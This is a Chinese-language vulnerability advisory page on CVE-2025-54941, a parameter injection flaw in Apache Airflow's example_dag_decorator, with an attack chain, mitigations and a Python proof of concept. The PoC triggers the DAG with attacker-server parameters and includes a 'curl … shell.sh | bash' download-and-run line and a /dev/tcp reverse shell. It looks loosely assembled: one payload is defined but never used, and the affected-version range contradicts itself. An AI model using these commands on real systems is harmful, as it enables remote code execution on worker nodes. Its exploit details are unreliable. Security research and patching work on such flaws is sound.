IPBUF安全漏洞报告
English
CVE-2025-54941 CVSS 4.6 中危

CVE-2025-54941 Apache Airflow example_dag_decorator参数注入漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2025-54941
漏洞类型
代码注入/远程代码执行
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Apache Airflow

相关标签

Apache Airflow代码注入远程代码执行参数注入示例DAGCVE-2025-54941Airflow漏洞Web UI攻击

漏洞概述

CVE-2025-54941是Apache Airflow中一个中等严重程度的代码注入漏洞。该漏洞存在于示例DAG `example_dag_decorator`中,由于缺少对用户输入参数的验证,攻击者可以通过Airflow Web UI将示例DAG重定向到恶意服务器,进而在worker节点上执行任意代码。漏洞的利用需要满足特定条件:示例DAG必须在生产环境中被启用(非默认配置),或者攻击者复制示例代码构建类似的恶意DAG。此漏洞影响Apache Airflow 3.0.5及之前版本,CVSS评分4.6(中等),攻击向量为网络形式,需要低权限用户权限和用户交互才能成功利用。该漏洞由[email protected]于2025年10月30日披露。

技术细节

Apache Airflow的`example_dag_decorator`示例DAG在设计上存在参数验证缺陷。攻击者通过Web界面操控DAG参数时,系统未能对目标URL或服务器地址进行有效校验,导致可以将请求重定向到攻击者控制的恶意服务器。当DAG任务在worker节点执行时,会连接到攻击者指定的服务器并执行返回的恶意代码。攻击流程涉及:1)构造包含恶意服务器地址的DAG参数;2)通过Airflow Web UI触发DAG执行;3)worker节点向恶意服务器发起请求并执行返回的payload。该漏洞的利用需要攻击者具有创建或修改DAG的权限(低权限),并诱导具有更高权限的用户(如DAG管理员)触发执行。攻击成功后可在worker节点实现远程代码执行,控制任务执行环境。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的Apache Airflow版本,确认版本<=3.0.5且example_dag_decorator已启用
STEP 2
步骤2: 获取低权限访问
攻击者获取Airflow系统的低权限账户(PR:L),能够创建或修改DAG配置
STEP 3
步骤3: 构造恶意参数
在DAG参数中注入恶意服务器地址(target_url指向攻击者控制的服务器),利用example_dag_decorator未验证的参数
STEP 4
步骤4: 诱导用户交互
通过社会工程学手段诱导具有DAG管理权限的用户(如DAG管理员)触发或批准DAG执行(UI:R)
STEP 5
步骤5: Worker节点请求恶意服务器
当DAG任务在worker节点执行时,会根据未验证的参数连接到攻击者指定的恶意服务器
STEP 6
步骤6: 执行恶意代码
Worker节点接收并执行恶意服务器返回的payload,实现远程代码执行(RCE)
STEP 7
步骤7: 持久化控制
攻击者获得worker节点控制权后,可进一步横向移动或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54941 PoC - Apache Airflow example_dag_decorator Exploitation # Target: Apache Airflow <= 3.0.5 import requests import json from urllib.parse import urlencode TARGET_URL = "http://target-airflow-server:8080" MALICIOUS_SERVER = "http://attacker-controlled-server:8888" DAG_ID = "example_dag_decorator" USERNAME = "attacker_user" PASSWORD = "user_password" def get_auth_token(): """Obtain Airflow authentication token""" response = requests.post( f"{TARGET_URL}/auth/login", data={"username": USERNAME, "password": PASSWORD} ) return response.cookies.get('session') def exploit(): """ Exploit the unvalidated parameter in example_dag_decorator to redirect execution to malicious server """ session = get_auth_token() # Malicious payload that will be served by attacker server malicious_payload = { "command": "curl http://attacker.com/shell.sh | bash", "target_server": MALICIOUS_SERVER } # Trigger DAG with malicious parameters trigger_data = { "conf": json.dumps({ "target_url": MALICIOUS_SERVER, "callback_endpoint": f"{MALICIOUS_SERVER}/callback" }) } response = requests.post( f"{TARGET_URL}/api/v1/dags/{DAG_ID}/dagRuns", cookies={"session": session}, json=trigger_data ) print(f"DAG triggered: {response.status_code}") return response.json() # Attacker-controlled server should serve malicious commands MALICIOUS_SERVER_CODE = ''' #!/bin/bash # This script will be executed on the Airflow worker # Reverse shell or arbitrary command execution bash -i >& /dev/tcp/attacker-ip/4444 0>&1 '''

影响范围

Apache Airflow < 3.0.5

防御指南

临时缓解措施
临时缓解措施:1)在Airflow配置中禁用所有示例DAG(将AIRFLOW__CORE__LOAD_EXAMPLES设置为False);2)移除或禁用example_dag_decorator DAG;3)审查现有DAG代码,移除任何引用或复制自示例DAG的未验证参数逻辑;4)实施网络访问控制,阻止worker节点访问非信任的外部服务器;5)加强用户权限管理,确保只有受信任的管理员才能触发DAG执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表